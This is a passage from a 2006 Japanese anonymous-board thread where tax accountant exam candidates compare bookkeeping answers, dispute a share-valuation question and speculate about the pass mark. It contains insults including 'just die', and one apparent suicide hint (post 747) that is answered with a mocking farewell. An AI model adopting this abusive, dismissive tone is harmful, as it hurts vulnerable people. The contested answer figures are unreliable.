644 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 22:12:24 ID:???
自分の解答+いままでのご意見で

@808,901 ◎
A 
B
C17    ◎
D92,255  ◎
E5,552  ほか 4,918? 6,438?
F5,190   ◎
G328    ◎
H292    ◎
I188    ◎
J8,400  ほか 20,400?
K     9,764?
L24,862   ○
M153,200  ほか 153,130?
N65,053   ◎
O     10,280?
P4,219    ◎
Q75,311   ほか 75,405?
R76,298   ほか 76,424? 87,932?
S     1,528?
21 300   ほか 1,740?
22 136,320  ほか 136,321?
23 132,990  ほか 133,992?
24 10,459   ほか 7,459?
25


645 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 22:20:19 ID:SCSzF551
棚卸減耗損違うんやない?


646 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 22:22:01 ID:DV8bkPo4
247459は間違い。10459で正解だと思う

647 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 22:25:44 ID:???
今回意見がわれてるっぽいのって
第2問の期末売価の二者択一と
第3問のB株の時価評価ぐらいですか?

>>644
J投資有価証券評価損の20400は確実にないですよ
B株の減損は前期ですので
俺もその答え書いちゃったけど

648 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 22:25:45 ID:fip0JPtF
20 15287
23 133992
24 10842

50割れです。引退します。
全答練10%以内だったけど3年目なのでもう諦めます・・・

649 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 22:26:39 ID:McLjeUW+
 ∧,,,∧
 (^ω^ )ちょっくらTAC行ってくる
 O┬O )
 ◎┴し'-◎ ≡


650 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 22:29:52 ID:???
>>648
そうだね。簿記論3年もやってダメなようなら
5科目揃うのに20年はかかるだろうね。
人生狂わせないうちに撤退するのも賢いよ。


651 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 22:30:40 ID:SCSzF551
投資有価証券評価損は、8,400で間違いないで。


652 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 22:31:47 ID:fip0JPtF
>>650
お前もそろそろ辞めた方がいいんじゃない?

653 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 22:32:45 ID:???
今年落ちたらみんなで一緒に撤退しようぜ

654 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 22:36:28 ID:n4ztaamH
第3問のB株の評価は問題不備だね。
非上場でも店頭株式は時価がある。
でも、非上場株式は時価のないものが大半。
そのために実質価額を与えた。
しかし、問題では時価または実質価額と書いている。
つまり、どちらを採用するかによって、評価差額と投資有価証券の解答が異なる。


655 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 22:37:50 ID:fip0JPtF
予備校はボーダーを45くらいにして来年も受講させようとするから気をつけような。
去年はOもTも余裕でボーダークリアしてたけど今年の方が難しかったのかな??

656 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 22:38:13 ID:???
  ∧,,,∧
 (^ω^ )ちょっくらLECの並○先生の講義を受けに行ってくる
 O┬O )
 ◎┴し'-◎ ≡


657 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 22:38:14 ID:SCSzF551
時価をとって計算するのがベターでしょ??????


658 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 22:40:52 ID:Yy1zc8/Z
でも去年のボーダーって44位だったんでしょ?
今回と難易度同じくらいじゃない?
TはC/F浅いって言うし・・・

659 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 22:40:58 ID:SCSzF551
今年は、50前後がボーダーになりそうですね。。。


660 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 22:41:05 ID:tStVFvSq
第二問の答え載せてくんない

661 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 22:44:31 ID:???
up
ttp://suzukiairi.net/cgi-bin/up/img/puniairi150.jpg
ttp://up2.viploader.net/pic/src/viploader235739.jpg


662 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 22:50:31 ID:Yy1zc8/Z
っていうか専門学校の解答速報会で発表するボーダーって低めなの?
もしそこで合格だーって調子のって9月から簿記論とらないとかになったらダメってこと?

663 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 22:51:49 ID:42BvBg2E
>>662
高めだろ。
LECが50点で出してて大原だけ30点ってなったら来年君はどこの専門学校に
行きたくなる?

664 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 22:52:38 ID:fip0JPtF
次の科目を申し込ませようとするんだよ。
それでまた1月からコース変更と・・・

665 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 22:53:35 ID:fip0JPtF
店頭公開株って上場だよ

666 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 22:55:22 ID:A+Kd1gWV
>>648
簿記論はセンスだよ。
税法3つもっていて簿記論が最後になる人もいるから
他の科目をメインに勉強してみたら?

俺も去年の全党とか上位1%でもB判定だった。
今年は軽くしか勉強しなかった。
今年は「受かればいいな〜」ってな感じで試験に臨んだぞ。



667 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 22:55:28 ID:???
A判定2点
B判定1点
5点集めたら合格


668 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 22:56:50 ID:???
>>666
というか運な気がする。俺も常に上位で全答にも名前載ったが
落ちてるっぽい。

669 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 22:59:11 ID:Yy1zc8/Z
>>663そーかー。じゃあ解答速報会でボーダー越えてたら自信持っていいと。。。
しかしボーダー48くらいはありえるのだろうか・

670 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:01:01 ID:n4ztaamH
>>665
「グリーンシート」って知ってる?
日本証券業協会が非上場会社の株式等を売買するために、平成9年7月からスタートさせた制度。
非上場企業への資金調達を円滑ならしめ、
また投資家の換金の場を確保する目的で、
証券取引法上の有価証券市場とは異なったステータスで運営されてるよ。



671 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:01:19 ID:fip0JPtF
>>663

大原かな

672 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:05:37 ID:fip0JPtF
>>670
もう諦めろよ

673 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:08:43 ID:???
去年の試験のボーダーってどのくらいだっけ?

674 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:09:44 ID:eyDOFoWy
>>666
センスねぇ〜確かに簿記論はセンスなのかな〜来年は気分一新して
違う科目でも受けてみるか。


675 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:11:38 ID:n4w+wq2r
みんなちゃんと答え写してきてるんだ。

そうすればよかった。
ヤキモキが止まらない。

676 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:11:54 ID:jhtpmAPf
去年のボーダーは45くらい?ってかボーダーと去年のこの時期の2ch予想ボーダーとの誤差が気になる。
2ch予想はあたるのだろうか……今んとこ2ch予想は53くらいが濃厚かな。

677 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:12:01 ID:n4ztaamH
>>672
てか、お前が理解してないの!

俺は、非上場の「店頭株式」で時価のあるものは存在するって逝ってるのに、
「店頭公開株」は上場だとかトンチンカンなレス返してくるから・・・
とりあえず、日本証券業協会のHPでも見てみろよ。

要は、問題の与え方からして、時価と考えるか、実質価額と考えるかは
どっちでもいいんだよ。だから、どっちも正解。これでいいじゃないのか?


678 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:21:43 ID:???
お前ら馬鹿じゃねーの?非上場でも時価あるから。そんなこともしらねーの?さすが税理士受験生だなwwお前ら時価って何だか知ってるの?
問題の不備とか言ってる奴はマジで辞めた方がいいよ。

679 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:23:28 ID:fip0JPtF
作問者の意図を読めよ。お前去年も貸引で諦めが悪かった奴だな。
ジャスダックは店頭だったの知らないのか?
乞食め

680 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:26:37 ID:fip0JPtF
実価法を使うものがあるから実質価額のコメントがあるんだよ。
どこの大学卒業したんだ?

681 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:27:16 ID:GjSsq4Sf
676
2chは高めのボーダーだから安心しろ
去年も50越えていないと話にならならないなんていっていた奴いたし
俺的には40後半から51くらいだと思われる

第二問なんて結局のところ専門で答えが割れるし

682 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:29:37 ID:???
ボーダー40後半かよ…

683 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:29:39 ID:fip0JPtF
だから予備校は次の講座を申し込ませるために低めなの。

684 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:29:50 ID:n4ztaamH
ちゅうか、お宅は去年も受験されてたのね・・・
馬鹿丸出しやね

別にどっちでもいいんちゃうって言うてるだけやがな
ジャスダックは店頭の上場株式を扱う
グリーンシートは店頭の非上場株式扱う
ほんとに、どうして理解できないのやろ
まあ、去年落ちてるぐらいやから、理解できへんのやろな

685 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:33:08 ID:???
ここでボーダーは70とかいってるやつ
問3の模範解答にするから晒してくれよ



686 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:33:45 ID:fip0JPtF
>>684
お前は本当にしつこいな
証券業協会のホームページ見てないで簿記論の勉強しろよ低学歴め

687 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:35:26 ID:GjSsq4Sf
682
低すぎかな?

688 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:35:48 ID:???
ボーダーは金融庁が好評した70点前後です。

689 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:35:52 ID:fip0JPtF
>>684
どうでもいいならこだわるなよ
去年も貸引に執着しておいて

690 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:36:30 ID:dFiLQhKA
3年連続で落ちてる知り合いが、今年は難しかったと言ってたので、50点前後がボーダーかと思います

691 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:37:02 ID:???
>>687
高いんだよ!!ヽ(`Д´)ノ


692 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:37:30 ID:???
クズ村の結果報告まだー?

693 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:39:24 ID:n4ztaamH
>>684
お前がこだわるからやろ・・・
去年落ちたって自爆しておいて(藁

まあ、俺さまは今年初受験で簿財合格間違いなしやから、
お前は来年も簿記論受けてくれよ。じゃあな。

694 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:40:11 ID:pVQl4rtV
ボーダーラインは50前後じゃない?
1.18
2.15
3.17

695 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:40:45 ID:???
センスとか運とかいってるやつは一生受からんw

696 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:40:56 ID:GjSsq4Sf
691
というか何点くらいなのよ?

697 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:41:12 ID:???
>>864
特定の証券取引所でどう扱われているかなんて事が簿記論の問題になるわけ
ねぇだろ!!ボケ!!上場株式、非上場株式問わず時価があるものは市場性
があることを理解しとけばいいんだよ。カス!!

698 :697:2006/08/01(火) 23:42:23 ID:???
>>684だった

699 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:42:44 ID:???
>>696
問1,2→28点 ヽ(`Д´)ノ

700 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:43:11 ID:fip0JPtF
>>693
初受験?
そんなミスする奴が受かる分けないだろ
嘘つきベテはマジで死ね
チンカス以下の低学歴くん

701 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:44:31 ID:DV8bkPo4
第三問は実務家の問題。そうゆうことを考えると、実務的なことを考慮した会計処理が求められるんじゃないの?

どちらにせよ問題の不備なら、別解として出るだろうに。細かいことにこだわりすぎおまいら

702 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:44:58 ID:???
>>693,>>700
もうオマイラつまらん煽りあいはやめぃ!ヽ(`Д´)ノ

703 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:45:26 ID:fip0JPtF
>>697
哀れな馬鹿は>>684だよ

704 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:47:17 ID:fip0JPtF
>>702は合格決定

705 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:48:12 ID:GjSsq4Sf
699
つーか俺よりとれてるじゃんかよ〜
第三問でやっちゃったか?

706 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:50:21 ID:fip0JPtF
しかし試験中に札幌証券取引所のことを考える奴いるか?
単に実質価額に気付いてなかっただけだろうけど。

707 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:53:19 ID:Lr5jQF2M
700さん、君はどこの大学なの?君のいう低学歴ってどこらへんから?
俺は684じゃないけど君のことが気になってしまったよ

708 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:54:26 ID:pVQl4rtV
結局、問3の18と21の正解は何になるのよ?

709 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:55:27 ID:???
>>705
問3は上にある模範解答では18〜20点くらいしか取れてない感じ
別解があるなら2〜10は増えるかもしれんけど ヽ(`Д´)ノ

710 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:57:48 ID:fip0JPtF
ただ言えることは受かる奴は2ちゃんにはカキコミしないということだな

711 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 23:59:25 ID:???
簿記論オワタ
今年中に転職するには2級とるしかないのかな・・・

712 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 00:02:25 ID:uRLj9H8w
>>709
全然悲観する事はないと思われる
あくまでも専門学校のボーダー予想だから
周りを見ていると税法でも会計でもボーダーギリギリで受かってる奴が多いし
しかも上位一桁の奴


713 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 00:10:32 ID:qqzmJy6n
労務費違ってない?

714 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 00:11:16 ID:???
去年の1問目は単純な簿記一巡の平易な問題。
今年は、CFというのもあるし、推定問題だから、
実力者は取れてるけど取れない人も多い。
一問目の難易度: 今年 > 昨年

昨年の2問目は取れる取れないがはっきり。でも取れるところは平易だった。
今年は、確実に取れるところは建設業の3〜5問。
二問目の難易度: 今年 = 昨年

昨年の3問目も、勘定科目の選択に悩んだが、賞与引当金等に加点あった。
今年は問題形式や集計の関係もあるが、確実に取れるところは少ない。
三問目の難易度: 今年 > 昨年

去年が40後半、今年は、去年と同じかやや低め、ボーダー45点ぐらいだと思うよ。
2年目なのに50行くか行かないかという微妙な立場だからそう思うのかもしれないが。。。

715 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 00:16:22 ID:???
700は低学歴馬鹿決定w

716 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 00:18:58 ID:???
難易度: 今年 > 昨年

というのは今年の受験生の錯覚。
今年の問題はどこの専門学校も完全な準備はできてないから
難しく感じるのは当然。
それは毎年同じ。


717 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 00:22:11 ID:???
題3問去年より難しいとなると凄いことになるぞ。
去年の第3問の合格点は16点だったからな。
レックの一問目二問目の14-12で来ても16以下なら42点以下がボーダーって事になる。
タックや大原はレックほど1,2問目で取れてないだろうから
40点割れの可能性もあるんじゃないか?

718 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 00:25:04 ID:???
今年は受験しとらんが、去年、簿記論47点(大原・TACベース)でA判定
で不合格でした・・・。

719 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 00:26:30 ID:???
今回も傾斜配点がなされると思われ。意外と第2問はみんな出来てないよ。結局ブレの少ない第1問と第3問の出来で合否が決まると思う

720 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 00:27:16 ID:BVyhtHDz
つか今年は回答箇所が少ないから一つケアレスミスするだけでも合否に大きく影響するよなぁ・・・

721 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 00:28:22 ID:???
で、貸し引きは24で良いの?

722 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 00:28:36 ID:qqzmJy6n
40点台で去年受かった人はいないんじゃないかな?

723 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 00:33:44 ID:???
専門の点数の割り振りは予想ですよ。実際は傾斜配点してますから

724 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 00:34:14 ID:???
ヤバい…
第1問→6.5割くらい
第2問→4コのみ正解
第3問→償却原価法なぜか1円違いで間違えて、現在確実な範囲で4コのみ正解。
よって33〜35点くらいか?来年か…

725 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 00:36:23 ID:???
>>721
おれ50だけど受かってたよ

726 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 00:38:39 ID:z2y7Pt0A
ボーダー高くて羨ましいじゃん。
俺が初めて受けたときのボーダーが20点(切ってたような?)/100点満点だったな…

727 :あの:2006/08/02(水) 00:44:01 ID:ArxEp7v8
第3問売却損は、貸し方に消費税が…でるのでは?

728 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 00:44:27 ID:???
      !  ! i -<_______,`ゝ
         ! .l/  〈.  -=・=- -=・=-}-、
           l  !{   }      ,ハ    !f/
           l  !ヽ._ ノ    ,‘,,-,,',   .!ノ    
           ! .!  i.ヽ.  ,'"-===-'; |
         .l. !  /\ \;; `''';;;'''´;/    
          .| |,/ヽ、`ヽ、`ー''ー'i´        
       ,. -! !,'ニ二.`ヽ 、` ー ' {` ー- 、    
    ,. ´  ,l |/ニ二`、   `ヽ、、| ヽヽ { ` ー、

    去年、簿記論47点(大原・TACベース)でA判定で不合格でした・・・。




729 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 00:45:06 ID:qqzmJy6n
>>725
他で取れてた?

730 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 00:47:02 ID:qqzmJy6n
>>727
税抜き・税込みの指示なし

731 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 00:47:28 ID:???
「C株式は時価のある…」と指示していることから、
問題作成者の意図は「B株式は時価なし」としたかったと思う。
それなら非上場ではなく、せめて「非公開」として欲しかった。

やはり非上場でも店頭登録株は時価があることから、
別解ありなのでは?

732 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 00:48:51 ID:qqzmJy6n
>>728
実際は予備校のボーダー+5点くらいかな

733 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 00:50:07 ID:qqzmJy6n
別解なんてありえません

734 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 00:50:48 ID:qqzmJy6n
電卓強打宣言します。

735 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 00:52:04 ID:qqzmJy6n
電卓強打宣言します!!

736 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 00:52:23 ID:???
>>712
俺も上位一桁の人間ですた…
とにかく問3次第だね
3日の模範解答が楽しみであり、恐ろしくもある。 ヽ(`Д´)ノ


737 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 00:54:58 ID:???
TAC生の知り合い、みんな出来てたみたいだよ。
もともと出来る連中だけど。80点くらいのが2人いるし。
そんなオレは過去に60点弱で合格。


738 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 00:54:58 ID:qqzmJy6n
☆電卓強打宣言します☆

739 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 01:00:01 ID:???
今年の合否はクジで決めます!!

740 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 01:03:39 ID:qqzmJy6n
空調を30℃にします

741 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 02:17:38 ID:R5SLvdc6
簿財勉強してる人って勉強時間の割合ってどうしてました?

俺は1:3で財(の理論)やってました。
もっと簿記論にシフトすればよかったなぁ(:_;)

742 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 02:18:51 ID:jsJOrw5h
簿記は運だね 下克上だよほんとに

743 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 02:23:07 ID:???
「簿記は」ってことは、実力が如実に反映されるのって?

744 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 04:06:15 ID:BZSE6vMQ
理論系の科目だろ

745 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 04:36:32 ID:CxPtKtj5
今年はマジで簡単だったな
8ヶ月しか勉強してないけど、たぶん受かったわ

746 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 05:02:39 ID:8xC2qt9K
TAC生で今年初受験しました。
答練では常に上位20%以内。全答練では上位2%
LECの模範解答ベースで、第一問目キャッシュフローは、12点
第2問目は18点

売価還元低価法は一応授業でもやっている。期末棚卸売価に何を
使うかが重要だったわけだが、安い方の売価を使ってしまうと、
実地棚卸売価の方が高くなるというおかしな問題になるから、
やはり正常売価を使うべきだった、ということぐらいは問題
読めば誰でも気付くはずなのでTAC生でもできは悪くないのでは。

建設業もTAC生なら引当金以外はできているはず。
引当以外何も難しい要素はなかったはずだ。
赤なら進行基準使えないって、そりゃ税法の勝手でしょう。
会計学ベースでは、赤なら進行基準ダメっていう理屈はないよ。


747 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 05:09:28 ID:???
今年で親の支援&職場の我慢打ち切りでクビ確定です。さよなら皆様。
一足先にあの世に行ってきます。

748 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 05:29:08 ID:tRdHOiOF
ばいばーい

749 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 05:53:49 ID:???
減価償却の答えは上から
建物附属設備 2664 1405 2885
機械 6759
車両 339 634 406(新車両)64(旧車両)
器具設備 697 158

預金は
135072+27817+1335+10945+10740-3185-9912+3-2121+70-17564=153200

投資有価証券は
A 42900 B 12000 C 6600 D 13811

買掛金は
98740-11634+5964-3185-2121-11340-126=76298

当期材料仕入は
125500+5220+5680-80=136320

労務費は
賞与引当金繰入が7521×4/6=5014→5014×40%=2006 で
128120+2864+2006=132990

訂正よろしくお願いします。

750 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 07:19:35 ID:???
今更ぐだぐだ言っても意味が無い。
まぁのんびり気楽に1週間待ちましょうや。

1年間頑張ってきたんだし、ここらで遊んで気抜かないと
来年まで持ちませんよ。

とりあえず、ヲレは壊れたようにネット三昧、

751 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 07:26:14 ID:qqzmJy6n
賞引6ヶ月分計上してた・・・
備品の減価償却も残存価額に気付かなかった・・・
引退したいけど予備校のボーダーは低めに設定してくるからまた申し込んじゃうんだよね。

752 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 08:14:18 ID:???
誰か問3に自信のあるベテ様
御自身の答案を晒してくださいませ

>>618が真実ですか??

753 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 08:15:19 ID:???
>>644だった

754 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 08:37:11 ID:???
上位10%以内
60〜
15%
55〜59
20%
50〜54


ボーダーは55〜60の間か、@とA合わせて30以上のやつはBで多少しくじっても合格の余地はありか

755 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 08:46:48 ID:???
でもさ、何で簿記論のスレ勢いないの?
消費税でさえ、300d超えているのに?

みんな「あきらめ」or「楽観」? 

756 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 08:55:43 ID:???
TACの講師が昨日ボーダーは63〜67くらいって言ってたよ。


757 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 09:19:49 ID:???
もう疲れたよ・・・
52の俺はどうみてもボーダーに達していません
ありがとうございました・・・

758 :リーチ ◆.aAQAotUq2 :2006/08/02(水) 09:30:57 ID:???
去年のTACの合格確実ラインが48。
それより高くなることは無いと思うのは楽観的杉?

759 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 09:42:40 ID:dw+yIMzs
去年の大原のボーダーは44点。
今年は去年より難しかったなら凄いボーダーになりそうだ。



760 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 09:44:31 ID:rScUWf58
Oだけど、うちの講師も「去年は自己採点44の人が受かってた」って言ってた。
ただその人の自己採点がスーパー謙虚だったのかもしれない。。。

761 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 09:58:44 ID:???
48点じゃ明らかに無理だろ今年は。
難易度かなりやさしくなってるじゃん。20-15-30の65くらいが現実的に合格が見えてくるラインかと。

762 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 09:58:48 ID:yR3PR8+7
傾斜配点ってそんなにあるもんなの?あるなら2の問2が配点低くなるって勝手に思ってるんだけど……
問2が全滅で46の俺は9月から簿記論とるべきなのでしょうか………?

763 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 10:02:34 ID:???
漏れはもう再受講決定だからボーダーがいくつだろうが関係ないがね
ボーダー辺りとか手応えあった輩は気になって落ち着かないだろwww
やーいやーいww

764 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 10:03:40 ID:???
まぁ第一問と第二問って満点普通にとれるし。
焦ったやつはオオコケしただろうなここで。

765 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 10:15:46 ID:???
合格発表でた後の1月から受ければいいんでない??

766 :762:2006/08/02(水) 10:22:31 ID:yR3PR8+7
じゃあまだいちおう可能性は消費税率くらいはあるということか……う〜ん。。。。。

767 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 10:30:33 ID:???
いいかげん去年の試験の貸し引きと低下評価損の扱いかたキボンヌ

768 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 10:32:33 ID:???
貸し引き42

769 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 10:39:53 ID:???
20−15−30って...素点で65...そんなのは余裕で合格。
上位2%くらい。

素点で42くらいまでは一応だけど望みはあるような気も..
たぶんこれくらいでB判定くらいではあろうけど。
13−13ー16くらい。

実際は素点50くらいじゃないかと。
18−13−19くらい。

俺っすか?B判定候補っす。がっかりした、自分に。

770 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 10:47:32 ID:???
13-13-16とか18-13-19なんかじゃ今年は無理。


771 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 10:51:17 ID:yR3PR8+7
今大学3回生。今回簿記論のみ受験で50弱。9月から財表・法人受講し、就活もしながら結果次第で1月から簿記論なんて可能なのだろうか………
ほんと悔しいよ。。今回諦めたわけじゃないけど、もちろん落ちてる可能性があるわけで。。。

772 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 10:52:59 ID:???
簿記論一科目のみでしかも暇な学生で、結果が50弱てww
煽りでなく別のこと考えたほうがいいんじゃないのか?

773 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 10:57:36 ID:???
専門学校採点で60から65点くらいはいるんじゃないのか?ちょうど平成11年の本試験と似たようなレベルだし。

774 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 10:59:07 ID:yR3PR8+7
あなたの学生時代がどんなだかは知らないが、俺はそんな時間あったわけじゃなかった。もちろんバイトやらサークルしてたんじゃなくって。1月スタートだったし。
まぁこんなこと書いてもみじめになるだけだけど書かしてくださいな。

775 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 10:59:42 ID:???
エヌ村の受験時間帯になるとリーチの書き込みがなくなる件

776 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 11:00:34 ID:???
>>771
フリーターでかなり暇の俺は35点前後だよ
しかも2年目

去年財表一発合格だったのが奇跡だったのかな
とりあえず所得受けてくる

777 :リーチ ◆.aAQAotUq2 :2006/08/02(水) 11:03:10 ID:???
>>775
呼んだ?

778 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 11:03:21 ID:???
簿記論の試験終了直後は「70はいったな」と思ってたが、
CFや長期請負工事のミスが目立ち50ちょいって所だ・・・

財表は微妙としか言いようがないし、結果が出るまでわからない。
今年は両方落としている可能性もあるな・・・

今年の試験が終了した人たちはこれからどう過ごすのかな
一ヶ月は勉強を忘れて遊びまくるのかな

受験専念していた俺は、これから就職活動だ。
経理の仕事を探しつつ、今年実施の日商1級の工簿原計の勉強でも始めるよ。


779 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 11:06:30 ID:???
去年自己採点38点の友達が合格し、去年自己採点54点の友達は不合格だった。
つまり本番はとんでもなく傾斜配点されるということ。


780 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 11:09:10 ID:???
   !  ! i -<_______,`ゝ
         ! .l/  〈.  -=・=- -=・=-}-、
           l  !{   }      ,ハ    !f/
           l  !ヽ._ ノ    ,‘,,-,,',   .!ノ    
           ! .!  i.ヽ.  ,'"-===-'; |
         .l. !  /\ \;; `''';;;'''´;/    
          .| |,/ヽ、`ヽ、`ー''ー'i´        
       ,. -! !,'ニ二.`ヽ 、` ー ' {` ー- 、    
    ,. ´  ,l |/ニ二`、   `ヽ、、| ヽヽ { ` ー、

    去年、簿記論47点(大原・TACベース)でA判定で不合格でした・・・。

781 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 11:15:25 ID:7AA5CFHw
あーー簿記論のバカやろう

782 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 11:20:28 ID:???
779の言う通りだよ。いかにみんなが取れてるところを取っているかだよ

783 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 11:27:15 ID:???
簿記は直前期になると税法が邪魔で特化していなかったことを後悔するが
試験になると税法の時間を割いて簿記の勉強していたことを後悔する。
と言っておこう。

なお、学生のうちから少なくとも簿記と財表くらいは両建てでやる気合がないと
たぶん税理士になるのは38歳くらい。


784 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 11:29:53 ID:7qw0Ic5Y
さらに2chはレベル高いからな

785 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 11:32:44 ID:???
じゃあ、俺は受かるかな?
16-2-20
の38点


786 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 11:34:36 ID:???
ボーダーギリギリのおれは合格発表まで
簿記論は独学で今の力を維持することにするよ

787 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 11:35:41 ID:???
>785
オオ!! (゚∀゚)
それで受かってたら漏れだって
うか・・・・・
らないな・・・・(´・ω・`)

788 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 11:37:13 ID:???
本番試験の自己採点ほど無駄なもんは無いな。
